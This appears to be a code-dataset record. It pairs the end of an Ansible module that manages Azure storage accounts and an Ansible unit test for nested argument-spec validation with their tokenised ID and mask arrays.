self.fail("Parameter error: name length must be between 3 and 24 characters.")
if self.custom_domain:
if self.custom_domain.get('name', None) is None:
self.fail("Parameter error: expecting custom_domain to have a name attribute of type string.")
if self.custom_domain.get('use_sub_domain', None) is None:
self.fail("Parameter error: expecting custom_domain to have a use_sub_domain "
"attribute of type boolean.")
self.account_dict = self.get_account()
if self.state == 'present' and self.account_dict and \
self.account_dict['provisioning_state'] != AZURE_SUCCESS_STATE :
self.fail("Error: storage account {0} has not completed provisioning. State is {1}. Expecting state "
"to be {2}.".format(self.name, self.account_dict['provisioning_state'], AZURE_SUCCESS_STATE))
if self.account_dict is not None:
self.results['state'] = self.account_dict
else:
self.results['state'] = dict()
if self.state == 'present':
if not self.account_dict:
self.results['state'] = self.create_account()
else:
self.update_account()
elif self.state == 'absent' and self.account_dict:
self.delete_account()
self.results['state'] = dict(Status='Deleted')
return self.results
def check_name_availability(self):
self.log('Checking name availability for {0}'.format(self.name))
try:
response = self.storage_client.storage_accounts.check_name_availability(self.name)
except AzureHttpError as e:
self.log('Error attempting to validate name.')
self.fail("Error checking name availability: {0}".format(str(e)))
if not response.name_available:
self.log('Error name not available.')
self.fail("{0} - {1}".format(response.message, response.reason))
def get_account(self):
self.log('Get properties for account {0}'.format(self.name))
account_obj = None
account_dict = None
try:
account_obj = self.storage_client.storage_accounts.get_properties(self.resource_group, self.name)
except CloudError:
pass
if account_obj:
account_dict = self.account_obj_to_dict(account_obj)
return account_dict
def account_obj_to_dict(self, account_obj):
account_dict = dict(
id=account_obj.id,
name=account_obj.name,
location=account_obj.location,
resource_group=self.resource_group,
type=account_obj.type,
sku_tier=account_obj.sku.tier.value,
sku_name=account_obj.sku.name.value,
provisioning_state=account_obj.provisioning_state.value,
secondary_location=account_obj.secondary_location,
status_of_primary=(account_obj.status_of_primary.value
if account_obj.status_of_primary is not None else None),
status_of_secondary=(account_obj.status_of_secondary.value
if account_obj.status_of_secondary is not None else None),
primary_location=account_obj.primary_location
)
account_dict['custom_domain'] = None
if account_obj.custom_domain:
account_dict['custom_domain'] = dict(
name=account_obj.custom_domain.name,
use_sub_domain=account_obj.custom_domain.use_sub_domain
)
account_dict['primary_endpoints'] = None
if account_obj.primary_endpoints:
account_dict['primary_endpoints'] = dict(
blob=account_obj.primary_endpoints.blob,
queue=account_obj.primary_endpoints.queue,
table=account_obj.primary_endpoints.table
)
account_dict['secondary_endpoints'] = None
if account_obj.secondary_endpoints:
account_dict['secondary_endpoints'] = dict(
blob=account_obj.secondary_endpoints.blob,
queue=account_obj.secondary_endpoints.queue,
table=account_obj.secondary_endpoints.table
)
account_dict['tags'] = None
if account_obj.tags:
account_dict['tags'] = account_obj.tags
return account_dict
def update_account(self):
self.log('Update storage account {0}'.format(self.name))
if self.account_type:
if self.account_type != self.account_dict['sku_name']:
# change the account type
if self.account_dict['sku_name'] in [SkuName.premium_lrs, SkuName.standard_zrs]:
self.fail("Storage accounts of type {0} and {1} cannot be changed.".format(
SkuName.premium_lrs, SkuName.standard_zrs))
if self.account_type in [SkuName.premium_lrs, SkuName.standard_zrs]:
self.fail("Storage account of type {0} cannot be changed to a type of {1} or {2}.".format(
self.account_dict['sku_name'], SkuName.premium_lrs, SkuName.standard_zrs))
self.results['changed'] = True
self.account_dict['sku_name'] = self.account_type
if self.results['changed'] and not self.check_mode:
# Perform the update. The API only allows changing one attribute per call.
try:
self.log("sku_name: %s" % self.account_dict['sku_name'])
self.log("sku_tier: %s" % self.account_dict['sku_tier'])
sku = Sku(SkuName(self.account_dict['sku_name']))
sku.tier = SkuTier(self.account_dict['sku_tier'])
parameters = StorageAccountUpdateParameters(sku=sku)
self.storage_client.storage_accounts.update(self.resource_group,
self.name,
parameters)
except Exception as exc:
self.fail("Failed to update account type: {0}".format(str(exc)))
if self.custom_domain:
if not self.account_dict['custom_domain'] or \
self.account_dict['custom_domain'] != self.account_dict['custom_domain']:
self.results['changed'] = True
self.account_dict['custom_domain'] = self.custom_domain
if self.results['changed'] and not self.check_mode:
new_domain = CustomDomain(name=self.custom_domain['name'],
use_sub_domain=self.custom_domain['use_sub_domain'])
parameters = StorageAccountUpdateParameters(custom_domain=new_domain)
try:
self.storage_client.storage_accounts.update(self.resource_group, self.name, parameters)
except Exception as exc:
self.fail("Failed to update custom domain: {0}".format(str(exc)))
update_tags, self.account_dict['tags'] = self.update_tags(self.account_dict['tags'])
if update_tags:
self.results['changed'] = True
if not self.check_mode:
parameters = StorageAccountUpdateParameters(tags=self.account_dict['tags'])
try:
self.storage_client.storage_accounts.update(self.resource_group, self.name, parameters)
except Exception as exc:
self.fail("Failed to update tags: {0}".format(str(exc)))
def create_account(self):
self.log("Creating account {0}".format(self.name))
if not self.location:
self.fail('Parameter error: location required when creating a storage account.')
if not self.account_type:
self.fail('Parameter error: account_type required when creating a storage account.')
self.check_name_availability()
self.results['changed'] = True
if self.check_mode:
account_dict = dict(
location=self.location,
account_type=self.account_type,
name=self.name,
resource_group=self.resource_group,
tags=dict()
)
if self.tags:
account_dict['tags'] = self.tags
return account_dict
sku = Sku(SkuName(self.account_type))
sku.tier = SkuTier.standard if 'Standard' in self.account_type else SkuTier.premium
parameters = StorageAccountCreateParameters(sku, self.kind, self.location, tags=self.tags)
self.log(str(parameters))
try:
poller = self.storage_client.storage_accounts.create(self.resource_group, self.name, parameters)
self.get_poller_result(poller)
except AzureHttpError as e:
self.log('Error creating storage account.')
self.fail("Failed to create account: {0}".format(str(e)))
# the poller doesn't actually return anything
return self.get_account()
def delete_account(self):
if self.account_dict['provisioning_state'] == ProvisioningState.succeeded.value and \
self.account_has_blob_containers() and self.force:
self.fail("Account contains blob containers. Is it in use? Use the force option to attempt deletion.")
self.log('Delete storage account {0}'.format(self.name))
self.results['changed'] = True
if not self.check_mode:
try:
status = self.storage_client.storage_accounts.delete(self.resource_group, self.name)
self.log("delete status: ")
self.log(str(status))
except AzureHttpError as e:
self.fail("Failed to delete the account: {0}".format(str(e)))
return True
def account_has_blob_containers(self):
'''
If there are blob containers, then there are likely VMs depending on this account and it should
not be deleted.
'''
self.log('Checking for existing blob containers')
blob_service = self.get_blob_client(self.resource_group, self.name)
try:
response = blob_service.list_containers()
except AzureMissingResourceHttpError:
# No blob storage available?
return False
if len(response.items) > 0:
return True
return False
def main():
AzureRMStorageAccount()
if __name__ == '__main__':
main()
|
gpl-3.0
|
[
3381,
2647,
15,
1393,
15,
1548,
199,
3,
199,
3,
1898,
334,
67,
9,
7800,
31653,
577,
1214,
374,
12,
665,
77,
983,
5068,
32,
4853,
14,
957,
30,
199,
3,
8540,
2799,
5719,
869,
7130,
75,
685,
335,
84,
12,
665,
6740,
32,
17164,
14,
957,
30,
199,
3,
199,
3,
1664,
1696,
1684,
844,
373,
19,
14,
16,
11,
334,
3239,
9685,
503,
4178,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
15,
11692,
13,
19,
14,
16,
14,
2424,
9,
199,
199,
504,
636,
2443,
363,
492,
3679,
63,
646,
12,
4629,
12,
870,
63,
1593,
199,
363,
6577,
363,
275,
730,
421,
199,
8490,
63,
8314,
275,
791,
2343,
63,
1023,
356,
283,
17,
14,
16,
297,
490,
283,
1205,
356,
788,
7780,
995,
490,
283,
4946,
63,
991,
356,
283,
895,
972,
936,
421,
199,
8948,
275,
1449,
199,
2595,
199,
578,
26,
13601,
63,
5682,
63,
3494,
2048,
199,
1023,
63,
3270,
26,
298,
18,
14,
17,
2,
199,
3612,
63,
1802,
26,
14944,
15474,
4887,
12639,
14,
199,
1802,
26,
272,
446,
2790,
12,
1678,
503,
3145,
282,
4887,
2933,
14,
199,
1419,
26,
272,
2073,
63,
923,
26,
267,
1369,
26,
288,
446,
2812,
402,
314,
2073,
1572,
370,
675,
14,
267,
1415,
26,
2549,
272,
536,
26,
267,
1369,
26,
288,
446,
2812,
402,
314,
4887,
2933,
370,
1678,
503,
1218,
14,
267,
1415,
26,
3055,
267,
849,
26,
2973,
272,
1174,
26,
267,
1369,
26,
288,
446,
10716,
314,
1174,
402,
314,
4887,
2933,
14,
3645,
283,
1881,
7,
370,
1218,
503,
1678,
282,
4887,
2933,
436,
1598,
283,
5575,
7,
370,
3145,
376,
2933,
14,
267,
849,
26,
3451,
267,
1415,
26,
3055,
267,
3415,
26,
288,
446,
9552,
288,
446,
3451,
272,
2909,
26,
267,
1369,
26,
288,
446,
4821,
13601,
2909,
14,
7827,
370,
2909,
402,
314,
2073,
1572,
14,
267,
1415,
26,
3055,
267,
849,
26,
2073,
63,
923,
2909,
272,
2933,
63,
466,
26,
267,
1369,
26,
288,
446,
298,
804,
402,
4887,
2933,
14,
11105,
1380,
6425,
282,
4887,
2933,
14,
6944,
26,
9739,
63,
58,
15062,
436,
5543,
23481,
63,
44,
15062,
1598,
12639,
3913,
506,
2896,
370,
1163,
2933,
2943,
12,
436,
1163,
2933,
2943,
3913,
506,
2896,
370,
1598,
9739,
63,
58,
15062,
503,
5543,
23481,
63,
44,
15062,
2122,
267,
1415,
26,
3055,
267,
849,
26,
2973,
267,
3415,
26,
288,
446,
5543,
23481,
63,
44,
15062,
288,
446,
9739,
63,
3975,
51,
288,
446,
9739,
63,
44,
15062,
288,
446,
9739,
63,
50,
1254,
15062,
288,
446,
9739,
63,
58,
15062,
267,
5481,
26,
288,
446,
730,
272,
3537,
63,
2261,
26,
267,
1369,
26,
288,
446,
2876,
2881,
7943,
370,
314,
4887,
2933,
14,
9498,
506,
282,
2600,
543,
283,
354,
7,
436,
283,
1180,
63,
954,
63,
2261,
7,
1598,
2883,
2382,
283,
354,
7,
365,
314,
445,
2339,
1350,
14,
5972,
1373,
3537,
2881,
365,
3748,
1126,
4887,
2933,
737,
642,
1598,
900,
14,
4005,
5436,
314,
3411,
3537,
2881,
12,
675,
376,
2701,
1059,
367,
314,
3537,
2881,
536,
3324,
14,
288,
446,
6855,
506,
3483,
370,
376,
3411,
4887,
2933,
14,
12823,
506,
5525,
5309,
4887,
2933,
7143,
14,
267,
1415,
26,
3055,
267,
849,
26,
2973,
272,
4928,
26,
267,
1369,
26,
288,
446,
710,
283,
5091,
7,
402,
4887,
14,
267,
1415,
26,
3055,
267,
849,
26,
283,
6408,
7,
267,
3415,
26,
288,
446,
10533,
288,
446,
10533,
16799,
267,
1015,
63,
3270,
26,
298,
18,
14,
18,
2,
199,
199,
11036,
63,
9970,
63,
7677,
26,
272,
446,
13601,
272,
446,
13601,
63,
2969,
199,
199,
2502,
26,
272,
446,
298,
1049,
5719,
869,
7130,
75,
685,
335,
84,
8593,
335,
7130,
75,
685,
335,
84,
2924,
272,
446,
298,
45,
6796,
577,
1214,
374,
8593,
78,
23751,
391,
72,
368,
2924,
199,
199,
2344,
199,
199,
8918,
275,
1449,
272,
446,
536,
26,
2813,
2933,
12,
340,
652,
3495,
489,
13601,
63,
5682,
63,
3494,
2048,
26,
267,
2073,
63,
923,
26,
11940,
267,
536,
26,
824,
72,
9425,
267,
1174,
26,
9552,
339,
446,
536,
26,
1218,
376,
2933,
489,
13601,
63,
5682,
63,
3494,
2048,
26,
267,
2073,
63,
923,
26,
11940,
267,
536,
26,
824,
72,
9425,
267,
730,
26,
9739,
63,
50,
1254,
15062,
267,
3762,
26,
881,
446,
5343,
26,
5343,
881,
446,
3145,
26,
641,
13,
2224,
199,
2344,
421,
199,
9677,
275,
1449,
199,
929,
26,
272,
1369,
26,
9338,
1174,
402,
314,
4887,
2933,
14,
272,
2138,
26,
3544,
272,
730,
26,
1211,
272,
2690,
26,
469,
267,
298,
2048,
63,
466,
582,
298,
9232,
63,
50,
1254,
15062,
401,
267,
298,
4229,
63,
2261,
582,
2973,
12,
267,
298,
344,
582,
3286,
13233,
15,
6873,
13933,
13,
6873,
13,
6873,
13,
6873,
13,
13312,
2483,
15,
26952,
15,
4776,
15,
9710,
15,
12940,
14,
6408,
15,
3494,
30682,
15,
429,
72,
16861,
401,
267,
298,
1985,
582,
298,
14346,
527,
18,
401,
267,
298,
354,
582,
298,
429,
72,
16861,
401,
267,
298,
3327,
63,
14461,
582,
469,
288,
298,
6582,
582,
298,
2859,
921,
429,
72,
16861,
14,
6582,
14,
1018,
14,
8258,
14,
846,
10665,
288,
298,
1825,
582,
298,
2859,
921,
429,
72,
16861,
14,
1825,
14,
1018,
14,
8258,
14,
846,
10665,
288,
298,
1224,
582,
298,
2859,
921,
429,
72,
16861,
14,
1224,
14,
1018,
14,
8258,
14,
846,
6687,
267,
1660,
267,
298,
3327,
63,
1985,
582,
298,
14346,
527,
18,
401,
267,
298,
19639,
63,
929,
582,
298,
32453,
401,
267,
298,
1927,
63,
923,
582,
298,
9029,
401,
267,
298,
12371,
63,
14461,
582,
469,
288,
298,
6582,
582,
298,
2859,
921,
429,
72,
16861,
13,
12371,
14,
6582,
14,
1018,
14,
8258,
14,
846,
10665,
288,
298,
1825,
582,
298,
2859,
921,
429,
72,
16861,
13,
12371,
14,
1825,
14,
1018,
14,
8258,
14,
846,
10665,
288,
298,
1224,
582,
298,
2859,
921,
429,
72,
16861,
13,
12371,
14,
1224,
14,
1018,
14,
8258,
14,
846,
6687,
267,
1660,
267,
298,
12371,
63,
1985,
582,
298,
16067,
527,
401,
267,
298,
1205,
63,
1618,
63
] |
[
2647,
15,
1393,
15,
1548,
199,
3,
199,
3,
1898,
334,
67,
9,
7800,
31653,
577,
1214,
374,
12,
665,
77,
983,
5068,
32,
4853,
14,
957,
30,
199,
3,
8540,
2799,
5719,
869,
7130,
75,
685,
335,
84,
12,
665,
6740,
32,
17164,
14,
957,
30,
199,
3,
199,
3,
1664,
1696,
1684,
844,
373,
19,
14,
16,
11,
334,
3239,
9685,
503,
4178,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
15,
11692,
13,
19,
14,
16,
14,
2424,
9,
199,
199,
504,
636,
2443,
363,
492,
3679,
63,
646,
12,
4629,
12,
870,
63,
1593,
199,
363,
6577,
363,
275,
730,
421,
199,
8490,
63,
8314,
275,
791,
2343,
63,
1023,
356,
283,
17,
14,
16,
297,
490,
283,
1205,
356,
788,
7780,
995,
490,
283,
4946,
63,
991,
356,
283,
895,
972,
936,
421,
199,
8948,
275,
1449,
199,
2595,
199,
578,
26,
13601,
63,
5682,
63,
3494,
2048,
199,
1023,
63,
3270,
26,
298,
18,
14,
17,
2,
199,
3612,
63,
1802,
26,
14944,
15474,
4887,
12639,
14,
199,
1802,
26,
272,
446,
2790,
12,
1678,
503,
3145,
282,
4887,
2933,
14,
199,
1419,
26,
272,
2073,
63,
923,
26,
267,
1369,
26,
288,
446,
2812,
402,
314,
2073,
1572,
370,
675,
14,
267,
1415,
26,
2549,
272,
536,
26,
267,
1369,
26,
288,
446,
2812,
402,
314,
4887,
2933,
370,
1678,
503,
1218,
14,
267,
1415,
26,
3055,
267,
849,
26,
2973,
272,
1174,
26,
267,
1369,
26,
288,
446,
10716,
314,
1174,
402,
314,
4887,
2933,
14,
3645,
283,
1881,
7,
370,
1218,
503,
1678,
282,
4887,
2933,
436,
1598,
283,
5575,
7,
370,
3145,
376,
2933,
14,
267,
849,
26,
3451,
267,
1415,
26,
3055,
267,
3415,
26,
288,
446,
9552,
288,
446,
3451,
272,
2909,
26,
267,
1369,
26,
288,
446,
4821,
13601,
2909,
14,
7827,
370,
2909,
402,
314,
2073,
1572,
14,
267,
1415,
26,
3055,
267,
849,
26,
2073,
63,
923,
2909,
272,
2933,
63,
466,
26,
267,
1369,
26,
288,
446,
298,
804,
402,
4887,
2933,
14,
11105,
1380,
6425,
282,
4887,
2933,
14,
6944,
26,
9739,
63,
58,
15062,
436,
5543,
23481,
63,
44,
15062,
1598,
12639,
3913,
506,
2896,
370,
1163,
2933,
2943,
12,
436,
1163,
2933,
2943,
3913,
506,
2896,
370,
1598,
9739,
63,
58,
15062,
503,
5543,
23481,
63,
44,
15062,
2122,
267,
1415,
26,
3055,
267,
849,
26,
2973,
267,
3415,
26,
288,
446,
5543,
23481,
63,
44,
15062,
288,
446,
9739,
63,
3975,
51,
288,
446,
9739,
63,
44,
15062,
288,
446,
9739,
63,
50,
1254,
15062,
288,
446,
9739,
63,
58,
15062,
267,
5481,
26,
288,
446,
730,
272,
3537,
63,
2261,
26,
267,
1369,
26,
288,
446,
2876,
2881,
7943,
370,
314,
4887,
2933,
14,
9498,
506,
282,
2600,
543,
283,
354,
7,
436,
283,
1180,
63,
954,
63,
2261,
7,
1598,
2883,
2382,
283,
354,
7,
365,
314,
445,
2339,
1350,
14,
5972,
1373,
3537,
2881,
365,
3748,
1126,
4887,
2933,
737,
642,
1598,
900,
14,
4005,
5436,
314,
3411,
3537,
2881,
12,
675,
376,
2701,
1059,
367,
314,
3537,
2881,
536,
3324,
14,
288,
446,
6855,
506,
3483,
370,
376,
3411,
4887,
2933,
14,
12823,
506,
5525,
5309,
4887,
2933,
7143,
14,
267,
1415,
26,
3055,
267,
849,
26,
2973,
272,
4928,
26,
267,
1369,
26,
288,
446,
710,
283,
5091,
7,
402,
4887,
14,
267,
1415,
26,
3055,
267,
849,
26,
283,
6408,
7,
267,
3415,
26,
288,
446,
10533,
288,
446,
10533,
16799,
267,
1015,
63,
3270,
26,
298,
18,
14,
18,
2,
199,
199,
11036,
63,
9970,
63,
7677,
26,
272,
446,
13601,
272,
446,
13601,
63,
2969,
199,
199,
2502,
26,
272,
446,
298,
1049,
5719,
869,
7130,
75,
685,
335,
84,
8593,
335,
7130,
75,
685,
335,
84,
2924,
272,
446,
298,
45,
6796,
577,
1214,
374,
8593,
78,
23751,
391,
72,
368,
2924,
199,
199,
2344,
199,
199,
8918,
275,
1449,
272,
446,
536,
26,
2813,
2933,
12,
340,
652,
3495,
489,
13601,
63,
5682,
63,
3494,
2048,
26,
267,
2073,
63,
923,
26,
11940,
267,
536,
26,
824,
72,
9425,
267,
1174,
26,
9552,
339,
446,
536,
26,
1218,
376,
2933,
489,
13601,
63,
5682,
63,
3494,
2048,
26,
267,
2073,
63,
923,
26,
11940,
267,
536,
26,
824,
72,
9425,
267,
730,
26,
9739,
63,
50,
1254,
15062,
267,
3762,
26,
881,
446,
5343,
26,
5343,
881,
446,
3145,
26,
641,
13,
2224,
199,
2344,
421,
199,
9677,
275,
1449,
199,
929,
26,
272,
1369,
26,
9338,
1174,
402,
314,
4887,
2933,
14,
272,
2138,
26,
3544,
272,
730,
26,
1211,
272,
2690,
26,
469,
267,
298,
2048,
63,
466,
582,
298,
9232,
63,
50,
1254,
15062,
401,
267,
298,
4229,
63,
2261,
582,
2973,
12,
267,
298,
344,
582,
3286,
13233,
15,
6873,
13933,
13,
6873,
13,
6873,
13,
6873,
13,
13312,
2483,
15,
26952,
15,
4776,
15,
9710,
15,
12940,
14,
6408,
15,
3494,
30682,
15,
429,
72,
16861,
401,
267,
298,
1985,
582,
298,
14346,
527,
18,
401,
267,
298,
354,
582,
298,
429,
72,
16861,
401,
267,
298,
3327,
63,
14461,
582,
469,
288,
298,
6582,
582,
298,
2859,
921,
429,
72,
16861,
14,
6582,
14,
1018,
14,
8258,
14,
846,
10665,
288,
298,
1825,
582,
298,
2859,
921,
429,
72,
16861,
14,
1825,
14,
1018,
14,
8258,
14,
846,
10665,
288,
298,
1224,
582,
298,
2859,
921,
429,
72,
16861,
14,
1224,
14,
1018,
14,
8258,
14,
846,
6687,
267,
1660,
267,
298,
3327,
63,
1985,
582,
298,
14346,
527,
18,
401,
267,
298,
19639,
63,
929,
582,
298,
32453,
401,
267,
298,
1927,
63,
923,
582,
298,
9029,
401,
267,
298,
12371,
63,
14461,
582,
469,
288,
298,
6582,
582,
298,
2859,
921,
429,
72,
16861,
13,
12371,
14,
6582,
14,
1018,
14,
8258,
14,
846,
10665,
288,
298,
1825,
582,
298,
2859,
921,
429,
72,
16861,
13,
12371,
14,
1825,
14,
1018,
14,
8258,
14,
846,
10665,
288,
298,
1224,
582,
298,
2859,
921,
429,
72,
16861,
13,
12371,
14,
1224,
14,
1018,
14,
8258,
14,
846,
6687,
267,
1660,
267,
298,
12371,
63,
1985,
582,
298,
16067,
527,
401,
267,
298,
1205,
63,
1618,
63,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
maxamillion/ansible
|
test/units/module_utils/common/arg_spec/test_sub_spec.py
|
15
|
2580
|
# -*- coding: utf-8 -*-
# Copyright (c) 2021 Ansible Project
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
from __future__ import absolute_import, division, print_function
__metaclass__ = type
from ansible.module_utils.common.arg_spec import ArgumentSpecValidator, ValidationResult
def test_sub_spec():
arg_spec = {
'state': {},
'user': {
'type': 'dict',
'options': {
'first': {'no_log': True},
'last': {},
'age': {'type': 'int'},
}
}
}
parameters = {
'state': 'present',
'user': {
'first': 'Rey',
'last': 'Skywalker',
'age': '19',
}
}
expected = {
'state': 'present',
'user': {
'first': 'Rey',
'last': 'Skywalker',
'age': 19,
}
}
v = ArgumentSpecValidator(arg_spec)
result = v.validate(parameters)
assert isinstance(result, ValidationResult)
assert result.validated_parameters == expected
assert result.error_messages == []
def test_nested_sub_spec():
arg_spec = {
'type': {},
'car': {
'type': 'dict',
'options': {
'make': {},
'model': {},
'customizations': {
'type': 'dict',
'options': {
'engine': {},
'transmission': {},
'color': {},
'max_rpm': {'type': 'int'},
}
}
}
}
}
parameters = {
'type': 'endurance',
'car': {
'make': 'Ford',
'model': 'GT-40',
'customizations': {
'engine': '7.0 L',
'transmission': '5-speed',
'color': 'Ford blue',
'max_rpm': '6000',
}
}
}
expected = {
'type': 'endurance',
'car': {
'make': 'Ford',
'model': 'GT-40',
'customizations': {
'engine': '7.0 L',
'transmission': '5-speed',
'color': 'Ford blue',
'max_rpm': 6000,
}
}
}
v = ArgumentSpecValidator(arg_spec)
result = v.validate(parameters)
assert isinstance(result, ValidationResult)
assert result.validated_parameters == expected
assert result.error_messages == []
|
gpl-3.0
|
[
3,
1882,
2803,
26,
2774,
13,
24,
1882,
199,
3,
1898,
334,
67,
9,
499,
15385,
2622,
7290,
199,
3,
1664,
1696,
1684,
844,
373,
19,
14,
16,
11,
334,
3239,
9685,
503,
4178,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
15,
11692,
13,
19,
14,
16,
14,
2424,
9,
199,
199,
504,
636,
2443,
363,
492,
3679,
63,
646,
12,
4629,
12,
870,
63,
1593,
199,
363,
6577,
363,
275,
730,
199,
199,
504,
3242,
14,
578,
63,
1208,
14,
2330,
14,
1273,
63,
1650,
492,
28405,
8640,
12,
19381,
2889,
421,
199,
318,
511,
63,
954,
63,
1650,
837,
272,
1680,
63,
1650,
275,
469,
267,
283,
929,
356,
5479,
267,
283,
751,
356,
469,
288,
283,
466,
356,
283,
807,
297,
288,
283,
1419,
356,
469,
355,
283,
2246,
356,
791,
889,
63,
793,
356,
715,
1386,
355,
283,
2019,
356,
5479,
355,
283,
474,
356,
791,
466,
356,
283,
442,
2267,
288,
789,
267,
789,
272,
789,
339,
2633,
275,
469,
267,
283,
929,
356,
283,
1881,
297,
267,
283,
751,
356,
469,
288,
283,
2246,
356,
283,
497,
89,
297,
288,
283,
2019,
356,
283,
51,
10562,
87,
14976,
297,
288,
283,
474,
356,
283,
1167,
297,
267,
789,
272,
789,
339,
1420,
275,
469,
267,
283,
929,
356,
283,
1881,
297,
267,
283,
751,
356,
469,
288,
283,
2246,
356,
283,
497,
89,
297,
288,
283,
2019,
356,
283,
51,
10562,
87,
14976,
297,
288,
283,
474,
356,
5851,
12,
267,
789,
272,
789,
339,
373,
275,
28405,
8640,
8,
1273,
63,
1650,
9,
272,
754,
275,
373,
14,
3502,
8,
3214,
9,
339,
702,
1228,
8,
1099,
12,
19381,
2889,
9,
272,
702,
754,
14,
24372,
63,
3214,
508,
1420,
272,
702,
754,
14,
705,
63,
3431,
508,
942,
421,
199,
318,
511,
63,
6376,
63,
954,
63,
1650,
837,
272,
1680,
63,
1650,
275,
469,
267,
283,
466,
356,
5479,
267,
283,
7007,
356,
469,
288,
283,
466,
356,
283,
807,
297,
288,
283,
1419,
356,
469,
355,
283,
1875,
356,
5479,
355,
283,
1238,
356,
5479,
355,
283,
4229,
12270,
356,
469,
490,
283,
466,
356,
283,
807,
297,
490,
283,
1419,
356,
469,
717,
283,
3908,
356,
5479,
717,
283,
1515,
2250,
356,
5479,
717,
283,
2326,
356,
5479,
717,
283,
988,
63,
14191,
356,
791,
466,
356,
283,
442,
2267,
490,
789,
355,
789,
288,
789,
267,
789,
272,
789,
339,
2633,
275,
469,
267,
283,
466,
356,
283,
500,
300,
554,
297,
267,
283,
7007,
356,
469,
288,
283,
1875,
356,
283,
1858,
68,
297,
288,
283,
1238,
356,
283,
8391,
13,
2167,
297,
288,
283,
4229,
12270,
356,
469,
355,
283,
3908,
356,
283,
23,
14,
16,
491,
297,
355,
283,
1515,
2250,
356,
283,
21,
13,
7625,
297,
355,
283,
2326,
356,
283,
1858,
68,
10030,
297,
355,
283,
988,
63,
14191,
356,
283,
32623,
297,
288,
789,
398,
789,
272,
789,
339,
1420,
275,
469,
267,
283,
466,
356,
283,
500,
300,
554,
297,
267,
283,
7007,
356,
469,
288,
283,
1875,
356,
283,
1858,
68,
297,
288,
283,
1238,
356,
283,
8391,
13,
2167,
297,
288,
283,
4229,
12270,
356,
469,
355,
283,
3908,
356,
283,
23,
14,
16,
491,
297,
355,
283,
1515,
2250,
356,
283,
21,
13,
7625,
297,
355,
283,
2326,
356,
283,
1858,
68,
10030,
297,
355,
283,
988,
63,
14191,
356,
1227,
1493,
12,
288,
789,
398,
789,
272,
789,
339,
373,
275,
28405,
8640,
8,
1273,
63,
1650,
9,
272,
754,
275,
373,
14,
3502,
8,
3214,
9,
339,
702,
1228,
8,
1099,
12,
19381,
2889,
9,
272,
702,
754,
14,
24372,
63,
3214,
508,
1420,
272,
702,
754,
14,
705,
63,
3431,
508,
942,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
